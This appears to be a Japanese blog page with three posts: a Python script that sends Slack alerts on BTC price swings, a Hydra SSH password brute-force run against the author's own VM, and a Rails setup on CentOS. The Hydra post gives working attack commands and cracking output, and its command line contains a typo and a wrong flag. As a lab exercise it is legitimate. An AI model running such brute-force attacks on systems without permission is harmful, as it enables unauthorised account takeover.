coincheck APIとslack APIを使ってBTCに暴落・暴騰をslackでお知らせスクリプトを作ったった

チャート見てない時のBTC変動が知りたい!!!

最近、BTCに手を出し始めて色々とウハウハしてるのだが、運転している間や授業を受けている間もBTC価格の変 動が知りたい! と言うことでcoincheckさんが提供しているAPIとslack APIを利用して、BTCが高騰or暴落したらslackにメッセージを投げてくれるようなプログラムを作ってみた!

今回の概要

3分毎にBTCレートを取得して3分前より3000BTC以上の変動があった場合はslackに通知メッセージを投げる

API

coincheck 取引所 API 概要

まぁ、本当は自動取引するスクリプト書けや、って話なんだけどそれはそれで怖いのであくまでも知らせるだけ !今回は上記URLのcoincheckのpublic APIのティッカーを使用しました!

使用した環境

手順

  1. slack APIのtokenを取得
    • slackで確認
  2. python3でスクリプトを書く
  3. 別サーバ上のcronで動かす

slack Web APIを使用するためtokenを取得

Slack APIを使用してメッセージを送信する Slack APIのTokenの取得・ 場所

上記の2つの記事に大変お世話になった!APIビギナーの私を助けてくれてありがとう!

上記の記事に従ってAPI tokenを取得したらコピペで保存しておくこと!


curl -XPOST -d token=取得したtoken -d channel=#random -d text=THIS_IS_TEST -d username=host https://slack.com/api/chat.postMessage

これでslackに通知ができていたら成功

coincheck APIのticker


curl GET https://coincheck.com/api/ticker

このリクエストを実行すると現在のBTCの価値などの情報がjson形式で帰ってくる


{"last":570723.0,"bid":570723.0,"ask":570817.0,"high":579499.0,"low":533102.0,"volume":43952.21153332,"timestamp":1507803511}

こいつをスクリプトの中で実行して、トリミング後にパラメータとして実行する

slackAPIへと投げてくれるスクリプトのソース

github.com/myschool

githubに全てのソースと設定ファイルを置いているので、環境さえ整っていれば動く、はず!


import subprocess
import sys

#変動幅
PRICE = 3000 
FLAG = 0

#それぞれの文字列をfloat化してdiffを計算するメソッド
def calcurate(now_rate,later_rate):
    now = float(now_rate)
    later = float(later_rate)
    result = now - later
    print(result)
    return result

#diffによる条件分岐メソッド
def select(result):
    if result < 0 and result < -PRICE :
        print("大幅下落時の処理")
        #FLAG = 0
        return 0
    elif result > 0 and result > PRICE :
        print("大幅高騰時の処理")
        #FLAG = 1
        return 1 
    elif result == 0:
        print("変化なし")
    else:
        print("大幅な変化なし")

#slackにpost_apiを叩くメソッド
def send_slack(FLAG,now_rate,result):
    if FLAG == 1:
        cmd = "curl -XPOST -d token=取得したtoken -d channel=#btc_channel -d text=高騰中:Now_changing_rate_:__now_rate:" + str(now_rate) + "__:value_change:" + str(result) + " -d username=btc_alert https://slack.com/api/chat.postMessage"
        subprocess.call( cmd.split(" ") )
    elif FLAG == 0:
        cmd = "curl -XPOST -d token=取得したtoken -d channel=#btc_channel -d text=暴落中:Now_changing_rate_:__now_rate:" + str(now_rate) + "__:value_change:" + str(result) + " -d username=btc_alert https://slack.com/api/chat.postMessage"
        subprocess.call( cmd.split(" ") )
    else:
        print("Nothing alert")


#curlでcoincheckからパラメータ取得
cmd = "curl GET https://coincheck.com/api/ticker"
now_price = subprocess.check_output( cmd.split(" ") )

#前回スクリプト実行時のパラメータを取得
#開くファイルのパスを指定
for later_rate in open('/home/shambara/api/file.txt', 'r'):
    print(later_rate)

        #現在のパラメータのトリミング
print(now_price)
now_price = str(now_price)
now_price = now_price.split(",")

numresult = now_price[0].split(":")
now_rate = numresult[1]

#diff計算
result = calcurate(now_rate,later_rate)
print("result is " +str(result))

#diffにより処理分岐
FLAG = select(result)

print("FLAG is " + str(FLAG))

#slackにapiを叩く
send_slack(FLAG,now_rate,result)


#現在のパラメータを外部ファイルに保存
#書き込むファイルのパスを指定
now_rate = str(now_rate)
file = open('/home/shambara/api/file.txt','w')
file.write(now_rate)
file.close()

hydraでSSHパスワードクラック

 

なんとなく、夏休みで微妙にヒマ。と言うことでHydraを使って自前のVM上でSSH認証にブルートフォースアタックしてみた。許可された環境で攻撃をしていますが、今から紹介する方法を許可されていない環境や所有者が自身ではないマシンに攻撃した場合は立派な犯罪行為になるので実行するなら許可された範囲内で実行してください。

 

そもそもhydraって何?

 

f:id:ayataka00:20170821174934j:plain

画像はKali Linux

hydraは簡単に言うと、認証機構にブルートフォースアタック(辞書引き攻撃)を仕掛けるツール

少しの知識があれば初心者でも容易にブルートフォースアタックができてしまう恐ろしいツール、当初はKali Linuxにデフォルトで入っているhydraを使おうとしてた。

だけどKali Linuxが重い、遅い。そこでもう今回だけはMacBookのローカル上からVMに攻撃してみた。

実行環境

攻撃マシン

MacBook Sierra 10.12

Hydra v8.6

やられマシン

CentOS Linux release 7.3.1611 (Core)

 

手順

  • hydraのインストール
  • VM側の所設定
  • 攻撃
  • ログの確認

hydraのインストール

$ sudo brew install hydra

インストール完了!と思いきや、いざ実行すると...

[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!

なんかモジュール足りてない.. そこで一度インストールしたhydraをアンインストール、再度インストールする

$ brew uninstall hydra
$ brew install -v --with-libssh hydra

動いたああ

 

VMの所設定

まずSSH認証破られる側のユーザを作成した

USER : crack   PASSWORD : Alexis

今回はデフォルトの辞書を使用するため、その中からランダムに選んだAlexisをパスワードに設定 多分、関係はないと思うが一応VMのFirewallも解除しておいた。

$ sudo systemctl stop firewalld

 

攻撃

ついに攻撃フェーズ、もう一度言っとくが自分の作ったマシンや許可されたマシンだけに攻撃しないと立派な犯罪行為なので気をつけること。

hydraの使い方

hydra -l ユーザ -p '辞書のパス' 攻撃するマシンのIP プロトコル

 

今回はcrackというユーザのssh認証のパスワードを盗み取るため

$ hydea -l crack -p '/usr/share/dict/words' 10.10.10.10(仮IP) ssh

で実行

SSH認証は割と堅い方の認証だからか...25分くらい時間かかった。 そして結果!

Hydra (http://www.thc.org/thc-hydra) starting at 2017-08-17 15:51:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 235886 login tries (l:1/p:235886), ~14743 tries per task
[DATA] attacking ssh://10.10.10.10:22/
[STATUS] 258.00 tries/min, 258 tries in 00:01h, 235630 to do in 15:14h, 16 active
[STATUS] 246.00 tries/min, 738 tries in 00:03h, 235150 to do in 15:56h, 16 active
[STATUS] 239.71 tries/min, 1678 tries in 00:07h, 234210 to do in 16:18h, 16 active
[STATUS] 235.93 tries/min, 3539 tries in 00:15h, 232349 to do in 16:25h, 16 active
[22][ssh] host: 10.10.10.10   login: crack   password: Alexis
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2017-08-17 16:13:11

[22][ssh] host: 10.10.10.10 login: crack password: Alexis

ばっちり取れてんじゃん...最高かよ

 

ログの確認

このブルートフォースアタックをしている際のエラーログは/var/log/secureに吐き出されていて、エグい数のログが残されているので確認してみると実際に辞書引き攻撃をされている様子がわかる。ほんとエグい数なので今回は割愛。

 

総括

いくらssh認証でもユーザがわかっている状態でパスワードが強度皆無だと

所要時間: about 23分 ユーザ名: crack パスワード: Alexis

で破られる事が体感できた。今回はhydraをインストールした際に付いてきたデフォルトの辞書を用いて攻撃したが世の中にはもっと人々が使うであろう単語を辞書化した辞書がたくさんあるだろうから、ある程度の強度のパスワードは簡単に破れるんだろうなーっと感じた。本当に強いパスワードって大事だ...

次回は攻撃者の視点からみた攻撃の手順なんかを書いてみようかなと思う。

 

大変参考になったページ

ろば電子が詰まっている

VM上でRails構築してみた

Ruby on Rails をローカルに構築するのはちょっとかっこわるいのでVM上に構築してみた!

そこで備忘録だぁぁぁ!!

 

今回の開発環境

構築した環境

  • rbenv

    
    $ rbenv --version
    rbenv 1.1.1-2-g615f844
    
  • Ruby

    $ ruby -v ruby 2.3.0p0 (2015-12-25 revision 53290) [x86_64-linux] 
    動作確認できたのは2.3.0 4.1.0も一応インストール
  • gem

    $ gem -v
    2.5.1
    yumでインストール
  • bundler

    $ bundle -v
    Bundler version 1.15.3
  • Rails

    $ rails -v
    Expected string default value for '--rc'; got false (boolean)
    Rails 4.2.2

 

Railsインストールの前準備

rbenv

$ sudo yum -y install gcc gcc-c++ make bzip2 libyaml-devel libffi-devel zlib-devel openssl-devel readline-devel gdbm-devel ncurses-devel
$ git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
$ git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build

.bash_profileに追加

$ sudo vi ~/.bash_profile
export PATH="$HOME/.rbenv/bin:$PATH"
eval "$(rbenv init -)"
$ source ~/.bash_profile

ruby

$ rbenv install 2.3.0
$ rbenv global 2.3.0

gem

$ sudo yum install gem

各ツール

$ sudo yum -y install libxml2 libxslt libxml2-devel libxslt-devel
$ sudo gem install nokogiri -- --use-system-libraries

 ∗ なんか2回目の構築の際に上記のinstallでnokogiriが上手くインストールされなかった

下記のinstallでnokogiriをinstall

 ∗ $ gem install nokogiri -v '1.6.6.4'
$ sudo yum -y install sqlite sqlite-devel
$ sudo gem install sqlite3

bundler

$ sudo gem install bundler

Rails

$ sudo gem install rails --version 4.2.2

 

インストールしたRuby on Railsを動かそう

$ cd
$ mkdir workspace
$ cd workspace
$ cd ~/workspace
$ rails new hello_app

rails new プロジェクト名で指定したプロジェクトファイルの中に大量のファイルとディレクトリが作成される。この大量にあるファイルの中から編集する所を選択して編集するだけでRailsアプリケーションが簡単にできる!これぞ、フレームワークの醍醐味!

 

vim ~/hello_app/Gemfile

source 'https://rubygems.org'

git_source(:github) do |repo_name|
  repo_name = "#{repo_name}/#{repo_name}" unless repo_name.include?("/")
  "https://github.com/#{repo_name}.git"
end

# Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
gem 'rails', '~> 5.1.2'
# Use sqlite3 as the database for Active Record
gem 'sqlite3'
# Use Puma as the app server
gem 'puma', '~> 3.0'
# Use SCSS for stylesheets
gem 'sass-rails', '~> 5.0'
# Use Uglifier as compressor for JavaScript assets
gem 'uglifier', '>= 1.3.0'
# Use CoffeeScript for .coffee assets and views
gem 'coffee-rails', '~> 4.2'
# See https://github.com/rails/execjs#readme
# for more supported runtimes
gem 'therubyracer', platforms: :ruby

# Use jquery as the JavaScript library
gem 'jquery-rails'
# Turbolinks makes navigating your web application faster.
# Read more: https://github.com/turbolinks/turbolinks
gem 'turbolinks', '~> 5.x'
# Build JSON APIs with ease.
# Read more: https://github.com/rails/jbuilder
gem 'jbuilder', '~> 2.0'
# Use Redis adapter to run Action Cable in production
# gem 'redis', '~> 3.0'
# Use ActiveModel has_secure_password
# gem 'bcrypt', '~> 3.1.7'

# Use Capistrano for deployment
# gem 'capistrano-rails', group: :development

group :development, :test do
  # Call 'byebug' anywhere in the code to stop execution
  # and get a debugger console
  gem 'byebug', platform: :mri
end

group :development do
  # Access an IRB console on exception pages or by using
  # <%= console %> anywhere in the code.
  gem 'web-console'
  gem 'listen', '~> 3.0.5'
  # Spring speeds up development by keeping your application running
  # in the background. Read more: https://github.com/rails/spring
  gem 'spring'
  gem 'spring-watcher-listen', '~> 2.0.0'
end

Defaultでは gem 'therubyracer', platforms: :rubyコメントアウトになっているので コメントアウトを解除する

 

Gemをインストール

$ bundle install

Gemfileやディレクトリを変更するたびにbundle installしないといけない

 

Webサーバを起動

$ rails server -b VMのIP -p 3000

 

Webブラウザで3000番portにhttp接続

http://VM IP :3000

Ex)  $ rails server -b 255.255.255.255 -p 3000

     http://255.255.255.255:3000

だがしかし

 

サーバーに接続できません(^q^)

何故だ,何故だ,何故だ,もはやポルナレフ状態

あ、そうか...

FireWallの設定だ

 

Firewallの設定


$ firewall-cmd --zone=public --add-port=3000/tcp --permanent
 #3000番ポートの開放
$ firewall-cmd --reload
 #リロード

 

FireWalldをsystemctlで起動した状態で

 

確認


$ firewall-cmd --list-all

public
  target: default
  icmp-block-inversion: no
  interfaces: 
  sources: 
  services: **************
  ports: 3000/tcp
  protocols: 
  masquerade: no
  forward-ports: 
  sourceports: 
  icmp-blocks: 
  rich rules:
  

3000番portの開放確認

この状態だとlsofコマンドとpsコマンドでプロセスを確認できる

 

Webブラウザで確認

 

f:id:ayataka00:20170815094010p:plain

WebブラウザでRailsが確認できた!これで環境構築は一通り完了だ!

 

今回参考にしたページ

CentOS7にRuby on Railsを導入する方法